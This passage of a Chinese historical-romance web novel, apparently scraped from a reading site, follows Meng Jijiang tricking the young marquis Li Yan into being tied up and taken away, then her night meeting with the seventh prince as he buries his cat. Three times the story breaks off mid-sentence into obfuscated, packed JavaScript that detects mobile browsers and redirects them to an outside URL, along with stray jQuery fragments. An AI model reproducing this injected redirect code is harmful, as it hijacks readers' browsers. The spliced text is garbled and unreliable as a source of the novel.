说话被人截断,秦兆功转头狠狠盯了一眼那少年,喝道:“兄长说话你也敢打断,亏阿耶还整日里夸你知礼,也不知那帮夫子教了你什么规矩......” 那少年闻言也不反驳,只是略低了头,面无表情地直挺挺站在原地。 秦兆功嗓门实在太大,李兖抓了抓耳朵,有些不耐烦了。 “你们兄弟聊着,我先走一步。” 说完不顾后面秦兆功的挽留,李兖直接一甩马鞭进了杏云巷。 * 门外传来马蹄哒哒声时,孟五老爷正无聊地摆弄着石桌上的茶盏。 听见声音,他赶忙站起来,还没站定就见门口探进半个红影,紧接着就听到一阵银片相撞的清脆叮铃声。 燕北男子喜辫发,爱在发尾束银饰,在这里能出这动静的只有一个人。 孟五老爷装没听见,又坐了过去。 “孟五叔。” “打住,可不敢当啊,我们孟家无勋无爵的,哪当得小侯爷一声叔父啊。” 孟五老爷不远搭理他。 他们孟家又不是上赶着要与李家结亲,李兖在长安闹也就算,如今又追到扬州来了,还害得六娘去了半条命。 虽然认定不是自己的错,但毕竟是孟六受了不轻的伤。 李兖多少有点小心虚。 他自顾自地坐下,笑道:“孟五叔,瞧你这话说的,家父和孟大将军可是同袍啊,那当年圣人打天下的时候,可多亏了......” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514238|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“少在这扯东扯西的,你来这干什么?” “听说孟六失忆了,我来看看她。” 孟五老爷转头,一脸惊奇地看着李兖。 “一月有余,你连扬州城外早塌了的前朝故楼都去过了,现在想起我们家六娘了?” 他斜眼瞧面前的少年人。 不像是怕挨揍的人啊。 不然就圣人和李侯爷那今日你一棍子明日我一短杖的,早打服了。 可不怕,怎么这会儿跑来了? 被人盯着,李兖心更虚了,他眼神飘开。 “我就是来说一声,那些人不是我招来的。” 孟家不能借此赖上他。 “......顺便看看孟六。” 他还顺便上了?! “来人,”孟五老爷猛地站起来,“送客!” 李兖早看出孟、秦两家有事,也不与他争执,忽然变得从善如流起来。 “好啊,那我就先走了,正好秦大跟他弟弟还在外面,我去与他们说会儿话喽。” 他说着作势要走。 “站住。” 孟五老爷喊他。 心中却是暗骂,怎么就这么巧,叫李兖遇上秦家人了。 他脸色铁青伸手指了指后院,就差开口让李兖赶紧滚了。 左右孟潇在后院,李兖不能怎么样。 李兖得逞,笑嘻嘻一溜烟跑进垂花门去。 * “这么说,这位李小侯爷只因为不愿意与我们孟家结亲,就跑来害我这个毫不知情的人?!” 怎么会有这样蛮横跋扈之人。 还与她有亲事。 季姜既惊又怒,气血牵动,叫她忍不住咳起来。 “妹妹别动气。”孟潇满是担心,安抚地给季姜拍背。 他稍长李兖几岁,也自幼在一个营里待过,私心里,他是觉得李兖不过是被娇惯得放肆顽劣了些,还不至于随意杀人。 可若不是李兖的人,那也肯定是冲李兖来的。 反正绝对与李兖脱不了关系就对了。 “二哥哥,”季姜抓住孟潇的手,急道:“我......我不愿意,我不想跟他结亲。” 季姜毕竟才十岁,她是真的有点害怕了。 她这两天听宝帘说过很多次李兖了。 除了说李兖长得好看,还说在她之前,府上的五姐姐都被他逼得,不得不去大慈安寺为长辈祈福,如今都在寺庙住了三个月了。 这么肆无忌惮的人,想来从未有过憋屈的时候吧,光顾着让别人憋屈了。 这样的人,她可不敢嫁。 多好看她都不敢啊。 季姜道:“咱们孟家是一定要与他结亲吗?” “当然不是,要不是圣人旧事重提,谁爱沾惹李兖。” 孟潇又道:“妹妹不必理会他,凡事还有阿耶呢,等阿耶巡边回来,定会上禀圣人,退了这桩婚事的。” 既是如此...... 那也许.....还好。- 季姜犹疑道:“李兖这样行事,都闹到圣人面前了,圣人也不管吗?” 孟潇叹气,“妹妹是不知道,当年圣人被封为燕郡王,封地就在燕北帐原,李兖生在燕北军营,自小就是在燕郡王府和宇文府长大的,圣人待他啊,那是比几位殿下还要好,不然他怎么能张狂成这样。” 出身已是巅峰了,脸长得还好,幸亏是个纨绔,不然李兖得遭人记恨死。 倒是季姜,闻言心凉了一半,轻声道:“原是这样啊。” 簪缨世族出身,燕北武延公唯一的外孙,又在圣人膝下教养长大,这样的人,恐怕只有宗室子弟可出其右。 难怪这么肆无忌惮。 可凭他怎样,自己和五姐姐可从没惹过他啊。 这桩婚事又不是她们在娘胎里自己定下的,要找也该找他自己爷娘或是找圣人去,这李兖跑来欺负她们,算什么事。 季姜少见的有些生气起来。 两人各有思索,一时静默下来。 孟潇看着自家妹妹,犹豫一会儿,还是决定提醒她一下。 他清清嗓,靠近床沿,小声问季姜,“妹妹啊,你可是见过李兖了?” 他懂,小娘子们啊,都喜欢漂亮的东西,若是小六见过李兖了,凭李兖那厮的脸...... 万一就把他们家小六蛊惑住了呢。 以防万一,还是提一下的好。 “没有啊,我都还没出过屋子呢。” 季姜摇摇头,声调有些幽怨。 孟潇听出来,不再与她说这些烦心事,笑道:“知道你着急出去,我这就走了,要出去叫上毓娘三人陪着你,不要吹了风,愿意去哪儿就去哪儿。” 得了这一句,季姜瞬间把什么李兖什么婚事都抛到脑后去了,满心雀跃,恨不得立时就出去。 等喊了毓娘进来后,孟潇才放心离开。 李兖枕着手躺在屋顶上。 听到下面一阵阵小娘子叽叽喳喳收拾着要出去的声音。 6. 季姜挑衅 ——“我......我不愿意,我不要跟他结亲。” 小娘子的声音又在耳边响过一遍,李兖唇角微微扬起来。 他就知道,孟六不过是个僻乡长大的小娘子,稍微吓她一下,晾她也绝不敢再应这桩婚事。 虽说这吓唬孟季姜出了些岔子,不过也算达到目的了。 来孟宅之前,李兖是带着些气的。 他认定了黑衣人跟他没关系,若孟家再因此有意赖上他,那他必定是要大闹一场的,可如今...... 黑衣人自有五哥去查,左右回京挨打他是免不了了,还是让孟六愿意退婚更重要。 李兖想着,飞下屋檐,脚步轻快地往屋里走去。 孟六不是都忘了嘛,那他得多在她面前晃晃,毕竟眼见为实,好叫她日后见了他都要绕道走。 等孟詹山去找圣上退亲时,他再添把柴也就差不多了。 屋里,季姜方穿好外衫,正由着映采给她披厚斗篷。 织锦缠枝纹的月白斗篷,篷帽上圈了细软的白兔毛,内里一身柳绿短襦,软毛拢着季姜苍白的小脸,却挡不住她满脸的笑意。 映采低头给她系带,篷上的白毛遮挡了视线,季姜嘟囔,“不必戴这绒帽了吧?” “这恐怕不行,外面还有风呢,婢子给您穿好斗篷戴好蓬帽,六娘子可好好的在外头玩上一会儿,是不是?” 映采淡声哄她。 “嗯......” “还是戴上的好。”少年含笑的声音响起。 春阳正盛,光透屏风,少年悠闲地抱臂倚在外间红柱上,那朵绣得栩栩如生的玉碟梅落在他肩头,却也漂亮不过他。 春光美景,季姜却被吓得‘啊’了一声,脚下一软跌在身后的锦凳上,映采立刻挡在她面前。 “季姜妹妹,要出去啊?” 李兖转过屏风,笑意盈盈的走进来。 “李......小侯爷?” 季姜声音干涩。 她虽是问,但见他与中原人不大相同的长相,心里已然有数。 这就是李兖! “哎?你还记得我啊,”李兖有些惊讶,“他们不是说你都忘了吗?” 小娘子脸色更白了,映采上前伸手将她护在身后:“小侯爷不请自来擅闯我家娘子闺房,是不是太没规矩了?” “那又怎样?你待怎样?” 李兖傲气地扬扬头,满不在乎。 “……” 映采皱眉还想说什么。 季姜强自静下神来,握住她的手拍了拍。 “映采,先给小侯爷倒杯茶吧。” 他们俩还有得话说呢,他们孟家还没因他故意找麻烦而去讨要说法,他倒自己先找上门来了。 那他可别怪自己给他没脸了。 季姜想着,被气得有些想咳嗽,但她忍下了。 李兖坐下来,忍着牙酸,向季姜眨眨眼继续喊人,“还是季姜妹妹懂规矩,不愧是孟家人。” 这挑眉弄眼的动作若别人做来必然是流里流气,可李兖相貌异域,五官深邃俊朗,那双琥珀瞳眸中一尘不染。 他年纪尚小,做出这动作,没多少流气,反而有些淘气顽劣。 季姜敏锐地看穿了李兖装下流的不自在,心里少了些惧怕。 况且这里是孟宅,叔父和二哥哥都在外面,她可不会怕他。 季姜给自己打气,心渐渐安定下来。 谁不知孟家是草根豪族出身,没什么大规矩可讲究的,李兖这话分明意有讽刺。 季姜只装没听出来,往旁边的凳子移了一下,与他隔开更大距离。 桌上放着还没收走的药碗,季姜抬手敲敲碗沿,给旁边的映采使了个眼色。 映采转身退了出去。 李兖看过来,季姜掩饰地咳了几声,面露难色,“我身子不好,落水后尤其畏冷离不得手炉,叫小侯爷见笑了。” 落水。 李兖噎了一下。 比起他见过的,长安那些娇贵宠养着的小娘子,眼前的季姜实在太虚弱了。 若说一句身似蒲柳、弱柳扶风,那都算夸赞了。 尤其是现在...... 季姜怯怯抬眼去看李兖,小心翼翼又满目坦诚地问:“小侯爷这会儿过来,可是有事?” 到嘴的浑话没说出来,内心的得意也消去了一半,李兖转开视线,支支吾吾道:“我......也没什么,就听说你醒了,过来看看。” 季姜拖长音‘哦’了声,点点头笑道:“我还好,就是来一趟扬州却一直因这身子不得出去。” 她说着似是忽然想起来,‘哎’了一声,看向李兖, “听闻小侯爷这一月忙得脚不沾地的,竟是连城外前朝故楼都逛过了?” 嘶~ 不知是不是李兖的错觉,他怎么觉得她语气那么不对呢。 可他看向对面坐着的人,苍白小脸上还是挂着笑,满目温柔亲和。 他只好先应和,“是,随便逛逛罢了。” 两人说话间,映采端了药汤进来。 季姜把药碗端在手上,嘴上不停道:“唉,可惜拜这病弱身子所赐,我去不得,亏得小侯爷逛完了还记得我,知道跑来孟宅看望。” 这下李兖听出来了。 她不是想说拜这身子所赐,而是想说拜他所赐吧! 想到自己刚才那不落忍的傻子模样,李兖拳头都硬了。 他一拍桌子,就想发作,抬头却见原还垂着眼的孟季姜正直直盯着自己。 清凌凌的眼底还含着笑,却没了半点软和,见他瞧来,甚至还嚣张地挑了挑眉。 毫不掩饰地挑衅。 李兖呆了一下,反应过来打心底里窜起一股火来。 这小病秧子......这小病秧子...... 第一次,小霸王李兖觉得自己的地位被人挑战了,他胸膛重重起伏几下,气得不知该怎么办了。 一时间,两人就这么互不相让地直视着对方,谁都不肯退缩。 李兖神色恼怒。 季姜脸色倒很平静,只是抓紧了手里的碗。 她想,李兖若是敢动手,她就敢送他一碗滚热的药汤,谁都别想好。 两人僵持一阵,李兖先发现对面的孟季姜脸色好像更白了,眉眼之间也浮上苦意,只她偏硬撑着不肯退让。 “啧,算了。” 李兖微微皱眉,到底先转开视线,由自嘟囔:“我何必与这病秧子怄气。” 闻言,季姜终于忍不住轻咳起来。 她用帕子捂着嘴,泄露出的咳声细小微弱,像是极尽克制却又难以忍受下发出的。 “哎,你……没事儿吧?” 李兖眉间一下皱起来。 他偷瞄着她,目光转向桌上的茶盏,手指动了动,一瞬后还是放了下来。 他似是觉得没趣,站起来要走。 没等他移步就听外面飘进来一阵闹哄哄的声音。 “李兖!” 早走了的孟潇去而复返,他虎目圆睁大喊着,怒气冲冲往里间来。 李兖心下顿时一慌,起身扫视一遍屋里。 见他慌乱,季姜眉间闪过一抹不解,随即又换上了浓浓的狡黠。 她掩着嘴角,被指了指矮榻,“你咳咳……那边......” 李兖慌起来脑子就转不动了似的,他身子一转跳上了窗下的矮榻,推开窗子就要往外跳。 季姜手里的帕子捂得更紧了些。 不捂不行啊,她怕自己笑出声来。 不顾眼中咳出的泪,季姜看傻子一样看着李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514239|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兖,他又没做什么偷鸡摸狗的事,平白的慌什么?她一指还真就跳窗去了。 一条腿已经伸到窗外的李兖也在这一瞬悟了过来。 哎?他跑什么? 他还没威胁孟六呢! 他正大光明进来的啊! 孟季姜还给他指路,她故意的! 那一瞬李小侯爷虽想得很多,可奈何身体比脑子快一步,另一条腿已经跨了出去。 同时,孟潇的影子在屏风上一闪而过。 显然,李兖这会儿已经没时间退回去了,不然照孟潇的性子,会跟他在屋里打起来。 孟潇进来的一瞬,窗边刚好滑下去一抹红色衣角,那阵银饰的叮铃声还在。 “妹妹。” 孟潇先看向季姜。 见她满眼泪花,小脸苍白的不像话,更是咳得停不下来,孟潇火冒三丈。 李兖这厮,实在过分! 是可忍孰不可忍! 不做多想,孟潇挥手叫后面的映采照顾季姜,自己转身去追李兖。 季姜怕他吃亏,在后面喊:“我没事……” 然而,孟潇和李兖积怨已久,现在的状况俨然已经不是季姜能喊住的了。 没多久,外面果然传来小厮们拦架的叫唤声。 李兖和孟潇打在了一起。 后院被两人打闹得一团乱,孟五老爷闻讯很快赶来,甚至没来得及送走秦兆功和他二弟。 “二郎,你们这是干什么?” 孟五老爷急得大叫:“来人,快来人,把他们俩给我分开。” 孟、李两人都是自小跟着父辈在军营长起来的,打起来有来有回不管不顾的,拉架小厮们被两人误伤,已经倒了一片。 “孟储,你的人呢,还等什么,等吃他俩丧席啊,赶紧把人拉开,动作快点儿!” 孟储乃是孟詹山麾下副将,此次特地被拨给孟五老爷,跟去寒州接人的。 话落,院门外跑进来一帮持刀戴甲的侍卫。 领头的孟储还是懵的,“快快快,分开分开,咋了,又咋了这是?” 侍卫们一拥而上将两人拉开。 被压住的孟潇仍旧不甘心,大喊起来,“别拉我,五叔你别管,我今日定要给他个教训,他张狂成性、目中无人,真当我孟家是软弱可欺的不成?” 李兖甩开拉自己的侍卫,叉起腰,朝对面侍卫摆了摆手。 “别拦他,来来来,让他打死我,反正我回京也是个半死,我死也拉上个孟家人。” 孟潇更怒,“你过来,你给我过来......” 李兖也不怵,抽了侍卫的刀就往孟潇手上递,“来来来,拿稳了,砍死我......” “十四郎!” “十四郎!” 哥舒和冬生伢得了消息,马上赶到了孟宅来,身后还跟着萧屺身边的侍卫。 哥舒挡开孟家的侍卫,自己拉住李兖,哄他,“十四郎,咋闹到这儿来了,这是孟二郎,可不能动刀啊。” 见李兖无恙,冬生伢转身抬臂,用燕北的礼节先给孟五老爷行了礼。 孟潇挥手,“少来这些虚的,李兖他闯我妹妹闺房,把我妹妹气成那样,你们要是看不住他,就把他留这儿,我们孟家替你管教管教。” “不是,”李兖既震惊又愤怒,快要炸了,“谁气谁?!” 孟潇道:“气死你活该!” “好了,都别吵了。”孟五老爷阻止两人。 “五叔。” 小娘子温弱的声音传来,季姜苍白着脸,由旁边女使扶着立在门下,阳光一照,她脸白的不像话,身形单薄得好像一阵风就能把人吹走。 院里一帮大老粗瞬间安静下来,连呼吸都放轻了。 小娘子没带幂篱,孟储挥挥手,带着侍卫先行离开了。 7. 李兖被坑 李兖瞬间跳出来。 “正好孟六出来了,让她自己说,我对她做什么了吗?不过说了两句话而已。” 天地良心呐,他就是不着调了点,旁的再没什么了啊。 李兖这人惯来不怕什么打架挨打,但要他不明不白那是绝对不行的,做了就是做了,没做打死他也不认。 越想越气,李兖冷笑,“要说做什么,还是她给我指的......” “是。” 季姜打断李兖的话。 众人一时又都转过头,朝季姜看去。 李兖就在她正对面,不用转头。 他死死盯住季姜,心下忽然涌现出一丝不妙的感觉,只用眼神警告她别作妖。 然而季姜看都没看他,只是气弱地咳了几声,继而抬眼,满目坦诚地对众人道:“小侯爷说的都对,他进里间来......” 停顿的间隙,季姜忽然看向李兖,引得众人又转过去。 季姜面露难色,似是在瞧李兖脸色,又似是在问他‘您来里间做了什么?您不说我不能知道啊。’ 李兖瞪着她,磨了磨后槽牙。 这下众人还有什么不明白的。 李小侯爷是做了什么无礼的事,只是人家小娘子不敢说啊。 后面萧屺的侍卫已经掏出绳子来,随时准备按殿下的吩咐,把人绑回去。 哥舒和冬生伢互相对视一眼,也是有些为难起来,擅闯女子闺房,本来他们就没理,现在更没了。 李兖咬牙切齿,“你,孟昭妗,你好样的.......” 他再蠢也知道,自己这是上了她的当了。 那箱,季姜眉头微蹙,秋水杏眸里沁出泪来。 “不知我哪里做的不好,或是父兄有得罪小侯爷之处,我在这里给小侯爷道一声谦,还望您大人有大量,饶过一二。” 她说着,蹲身福礼,神情再温和不过。 孟潇吼道:“还不把他绑回去。” 这下萧屺的侍卫不犹豫了,走上前来绑人。 “孟昭妗,你,你给小爷等着!” 李兖何时受过这种委屈,挣扎着大喊。 可少年毕竟不过十二三岁,身形尚且单薄了些,没挣扎多久就被绑好了。 侍卫带他走时,他还不甘心,一脸恼怒的直往后看。 众人看不到的地方,季姜掩着帕子朝他弯唇,眨了眨眼。 等人都告辞走后,孟潇走过来。 “别演了,都走了,眼都哭肿了。” 季姜那双圆圆的杏眼从帕子里抬起来,眨掉泪后才道:“二哥哥看出来啦?” “哼,” 孟潇有些得意,“不然我怎么能让他们赶紧绑他走呢。” 他十分了解李兖,也算了解妹妹,这两人都不是怕折腾的人,若是真硬碰硬,不定闹出什么事。 李兖就算了,他妹妹可是女儿家,总归是吃亏的那个。 兄妹两个说着话,都止不住笑起来。 孟潇眼青了一只,嘴角也破了,一笑就疼得次牙咧嘴。 季姜抬手做请,“屋里有药,二哥哥请吧。” * 经此一事,孟宅一连清净了半月。 自那天起,李兖就被萧屺关在了大明寺,说是日日都要他去听大明寺和尚早晚课诵经,还得自己抄经书,以修德养性去浮躁气。 养了大半个月,季姜已没什么病,但就是体弱。 大夫说这是个根症,是之前磕到头没好全,又落江被水激过后落下的病根,并不是短时间能医好的,只能是好生将养着。 孟潇听了恨不能再去大明寺捶李兖一顿,季姜左哄右劝才拦了下来。 到四月中旬,京中遣了人来,说是护送两位殿下和孟家人回京的,来人还特地到孟宅来拜访过一遭,孟五老爷和孟潇一同见了。 自然,这些季姜是一概不知的,没了李兖找麻烦,她痛痛快快在扬州城玩了大半个月。 日子过得飞快,绿柳抽去,新荷盈湖,转眼到了回京的日子。 回京前一夜,大明寺的暮钟如常撞响,肃穆的钟声推开层层薄雾,随风一直回荡到整个扬州城。 薄暮之下,长风吹进后山,杏花落得纷纷扬扬,林中响过一道锐利的剑鸣,紧接着一把长刀斩破杏花,抵住那把剑,刀剑相接,火花乍闪。 剑身一抖,李兖手中长刀骤转,刀柄击在那人手腕上,长剑顿时脱落在地。 脚下踩上斜坡,又迫于惯力,朱温策一时没能稳住身形,往后退去。 哥舒刚来,迎面就见一块白布扑过来,他赶紧侧身躲开,成功让朱温策摔下了矮坡。 “哎。” 李兖徒劳地伸了伸手,见已是拉不住,便收手作罢了。 “老天爷,那是啥东西?” 哥舒往身坡下后看。 “朱温策。” 李兖摘下挂在树上的水囊,抬头灌了口水。 “啊,朱长史?” 哥舒转身想去坡下拉人。 李兖道:“不用去了,左右坡也不高,一会儿自己就爬上来了,” “咱们朱长史啊,也该练练身子了,这身子骨也太差了,还没过两招呢,剑都脱手了。” 哥舒嘟囔:“可人家朱长史本来就是个文官啊。” 其实他想说,十四郎是故意的,因为太子殿下总是遣朱长史来府上给十四郎讲啥五经,十四郎最不耐烦那些。 李兖不理他说什么,问道:“前面怎么样了?明日几时启程?” “十四郎放心,前面都准备妥当了,就是......” 哥舒声音弱下来,他瞥了眼李兖,天黑下来,也瞧不清他脸色。 “怎么?” “五殿下说……说十四郎你得捆着进京。” 哥舒低下头去,降低存在感。 李兖以为自己听错了,擦刀的动作顿了一下,转头问他,“什么?” “就是稍微绑一下,让那帮言官看看便罢了......” 李兖把刀扔给哥舒。 “凭什么?!我不弄,别说我没怎么着,我就是做了什么又关那帮老东西什么事,由得他们说,谁敢说,我非抽得他再也上不了朝。” “捆上也好,捆上也好啊。” 坡下传来声音。 朱温策从坡下爬上来,坐在地上甩着袖子掸衣上的土,昨夜下过雨,他一身文士白衫落地就沾满了泥土,还沾带着几片杏花瓣。 李兖斜眼瞧他,淡道:“别逼我再踹你下去。” “瞧瞧,你哪儿那么大火气啊。” 朱温策走开两步,抖了抖长衫道:“太子叫我来,也是放心不下你,就是防着你耍小性子呢。” “三哥让你来的?我还以为是李侯爷让你来的。” 李兖口中的三哥是靖武帝的第三子,如今的东宫太子。 朱温策自幼双亲尽失,其叔父乃是文宣侯李禹君的门客,他与太子年岁相仿,自小亲近,后来太子位正东宫,出宫建府后召了他做太子属官。 “你别一口一个李侯爷的,不叫阿耶也叫声父亲吧......” 朱温策说完,一抬头见李兖冷冷盯着自己,又添了句,“太子说的啊......” “你少拿三哥压我,” 李兖烦躁地抓抓那头辫发,“这么说把我绑回去也是三哥的意思?” 他说着带了些委屈。 “不然呢,” 看他不再动怒,朱温策才凑过去,正气凌然道:“我如今任太子属官,自然代表太子殿下。” 李兖不服气的模样落在朱温策眼里,他揽了少年的肩,笑劝他。 “绑你回去不是给言官看的,更不是怕他们因你弹劾李侯爷,是为了孟大将军啊。” “怎么说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514240|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱温策劝道:“你看啊,虽然你不喜欢这桩婚事,可人孟家也没惹你不是,” “当年你留在燕北时,孟大将军还背着李侯爷偷偷给了你一把横刀,勉励你好好习武呢,你忘了?” “没忘。” 李兖闷闷回道。 就因为他没忘,更知道原本孟将军和谢夫人的性情,知道二人本不是贪图权势之人,所以他才不明白,明明他不想的事,为什么两人却不跟圣人拒绝。 要是两方都明确拒了这婚事,他何至于闹出这么大一出。 他没变,是他们变了,圣人建朝后封侯的封侯拜相的拜相,是不是孟将军和谢夫人也想要这些了? 朱温策犹豫地张了张嘴,看着少年还没长成的肩膀,他扯了扯唇角,还是哄他。 “那你近来是不是过分了,不管是不是因为你,孟家六娘子如今这样,看在孟大将军的面子上,你又何必与一个病弱的小娘子争执,最后还被人耍了。” “你是想说最后一句吧?” 李兖不驳他这话,只甩开他,气拽拽地往山下走。 “去哪儿啊?” 李兖没回头,别扭道:“寺里晚课,听小沙弥们诵经去。” 朱温策失笑,提起袍角追上去。 * 方才朱温策跌下去的矮坡下,杏树后一阵响动,一身绿衫的小娘子跌在满地雪白的杏花里。 听到上面真的没了动静,季姜才安稳的在杏花堆里坐下,双手捶揉起麻得没了知觉的小腿。 季姜这两日总在扬州城里的茶楼里听说书先生讲书,讲最多的是《惊蛰传》。 说得是前朝末年,乱世初现,诸侯雄起,逐鹿中原,豪雄美人,盖世江山的故事。 但豪雄美人、才子佳人什么的她都不爱,最喜欢的是那出《黄粱岁》。 讲得是千年以前,在扬州大明寺后的无名山上,一只狐狸受小和尚点拨而化形,每每在夜间披一身杏花白衣,双手持剑、飞檐走壁在扬州城劫富济贫、行侠仗义的故事。 本来她也只是听得起兴,可谁让她今日听到,毓娘说扬州的杏花格外清香,她要带人来这后山摘杏花,回去做成香囊。 这......她怎么忍得住不跟来。 于是,她偷偷来了,一转眼跟丢了毓娘不说还找不到下山的路了。 方才,她正是听到有人说话,才过来想跟着别人寻到下山的路,可没想到竟然是李兖。 这她哪敢啊。 半月前仗着在自己的地盘,她狠狠坑了李兖一次,这次她一个人都没带,又是这荒山野岭的,要让李兖抓到,他不得活拨了她的皮。 天慢慢黑下来,季姜想着,更觉得这里冷森森的,不知是冷的还是吓的,她就是止不住地打寒颤。 又坐了会儿,等腿能站稳后,季姜扶着旁边还在落花的杏树站起来,她沿着方才朱温策爬上去的坡往上看。 只一眼,季姜就绝望了,这坡对刚才那青年男子来说都是勉强爬得上去,对她,还是自己一个人,那绝无可能。 天边最后一丝夕光堙灭。 季姜没带火折子,如今再折返去找别的下山路实在太晚了,她只能四下看看,想找个垫脚的物什。 正当她瞄准了一块还算高的枯木墩,想过去把它移过来时,就听一阵细细碎碎的抽泣声响起来。 一瞬间,《黄粱岁》里,那狐狸给人开膛破肚、掏心剜肝的话,在季姜脑子里连城一副清晰的画幅,一节节滑过。 脊背窜上一股寒意,她又慢慢蹲坐回原地,抿着唇闭上眼装自己不存在,可偏偏耳力却变得异常清明起来。 那哭声断断续续、时隐时现,却无一不被季姜收进耳底,山上风逐渐大起来,伴着风声,隐忍的哭泣变成呜咽,却也不敢放肆。 季姜壮着胆子偏偏身,视线穿过她方才藏身的那颗杏树,落在不远处,乍现的一团晃动的淡光上。 8. 偶遇萧七 靠树放着一盏白灯笼,夜风摇曳烛火,少年的长发随风缠绕在灯笼上,他蜷着身子坐在杏树边,头垂在双臂中,灯火光影笼罩让他周身沁出清寒的白光。 满山夜风吹拂,细嗅之下能闻到清淡的杏花香,丝丝缕缕缠着人不放。 季姜看到少年身下有影子,狂跳的心才逐渐安定。 放松下来,她也不急着上前去,只静静蹲坐在原地,学着少年,将下巴枕在胳膊上,歪枕着头看他。 如今天色已晚,这个时候能在后山的无非就是住在前面大明寺的,她听毓娘说过,大明寺里除了李兖,还有圣人的五殿下、七殿下同住。 季姜不关心这些,当时也没认真听过几句,如今更是分辨不出眼前这个是五殿下还是七殿下。 “我.....我过不去秉生江......不能送你回家了......阿白,我其实有点怕......” 光里的声音越发哽咽。 广袖遮掩下,少年捧着一个不算大的青瓷罐子,他用手一遍又一遍轻抚瓷罐,像是在抚摸什么东西的头。 “这儿离秉生江近,你就在这儿,明天......我就回长安了,去......去请罪。” 说到长安,季姜似乎听出他语气都沉了下来。 那边还在絮絮说着,如今已到孟夏时节,夜风吹在身上也是温温的,季姜倒不是很冷,只林中的蚊虫实在太多。 她不敢挥手驱赶,只能忍着,这也就罢了,可那边那人完全没有要结束的意思。 他也不再说别的,只低低复述他害怕,边哭边说,一遍又一遍。 天地一静,只剩低泣声断断续续飘在杏花香里。 “你别哭了。” 低泣声被一道温和稚嫩声音截断。 没有不耐烦,反倒含着几分叹息,还有被风呛灌的咳声。 声音近在面前,萧岺怔愣地仰头。 少年生就一副温润尔雅、水月观音似的相貌,白腻的脸庞映上一层朦胧的光晕,泪水沾湿的鸦羽长睫扇动着。 那双眼仿佛含了一场看不清的春山雨,似雾朦胧,唯一能看到的就是小心翼翼。 这下季姜已经浑然忘了人家是皇帝的儿子,又重重叹了声。 “唉,你别怕,我也要去长安呢,大不了日后我护着你些,你快别哭了嗷。” 女郎的话似一阵轻波,从耳尖一直漾到心头,心尖微微轻颤,萧岺缓慢地眨了下眼,脑子里却是空白一片。 季姜学着他眨眨眼,继而猛然意识到自己那样说,好像、似乎.......有点......孟、浪了。 “我吓到你了?”季姜轻声问。 “没有,”萧岺垂下眼,摇摇头,歉意道:“是我冒犯女郎了。” 季姜看他脸色实在憔悴,不禁软语道:“还好,还好。” 又瞧了萧岺几眼,见他眼神清亮温润,眉目之间没有一丝戾气,季姜才安安心心在他对面坐下来。 没什么,只是经过李兖这狗东西以后,季姜对长安这些勋贵子弟有了个大概的估量。 萧岺正在抬袖拭泪,见此愣了一下,反应过来后他反倒往后缩了缩身子。 看出他的不自在,季姜没多问,只是往后退退,离他远了些。 季姜和他搭话,猜道:“你是.......五殿下?” 萧岺没抬头,紧紧抱着手上的青瓷罐子,淡淡道:“我行七。” “哦,七殿下。” 季姜实在好奇,频频瞥向萧岺怀里的罐子。 萧岺很快察觉到,他稍稍侧身避开对面小娘子的视线,主动开口笑道:“女郎是孟家六娘子吧?” “不错,我是孟六。” 季姜应得很麻利,自己能猜到人家的身份,没道理人家猜不到自己的。 两人静默一会儿,季姜忍了忍还是从袖袋里掏出自己随身的干净绣帕,递到萧岺那边。 “你......殿下脸上沾了些土,擦擦吧。” 灯笼倚靠在树边,萧岺侧身,脸上照出更多的光亮,他肤色白皙,那一道因拭泪沾上的尘土格外明显。 落花美人图损了几分颜色,季姜很难忍受。 “多谢。”萧岺接过帕子,轻轻擦拭。 “那边。” “嗯?” 萧岺抬眼,就见对面一身柳绿盘腿坐着的小娘子,指尖微微点了点她自己的右眼眼角。 说:“这儿。” 萧岺赶紧垂眼,听话地改擦另一边。 趁他忙活的空隙,季姜问:“入夜了,殿下来这里做什么?” 萧岺手上动作微顿,静了一下,才开口道:“来送送阿白。” 想到刚才萧岺轻轻抚摸罐子的样子,季姜猜道:“狸奴?” “你怎么知道?”萧岺惊讶地瞪大眼睛。 “猜的。”季姜真心笑了。 原本见萧岺生得一副话本子里才有的谪仙模样,行止也疏离又有礼,季姜对他也仅是隔山隔雾的客套罢了。 可这会儿见他大夜里独身跑到山上来葬一只狸奴,被人猜到还露出这样的神情,季姜顿觉距离消弭,看这位七殿下都亲和起来。 萧岺一时没端住,既已露出那样幼稚的表情,也是不大在意了,有些放松地问她,“那孟六娘子呢,来这儿做什么?” 他听说,她身子不好,按理不会自己一个人出来,更别提这还是大夜里。 “呃......来采杏花做香囊,但迷路了,又没提灯,下不去山,所以来朝你借灯呢。” “那杏花呢?” 萧岺一下就注意到她的不自然,故意笑道。 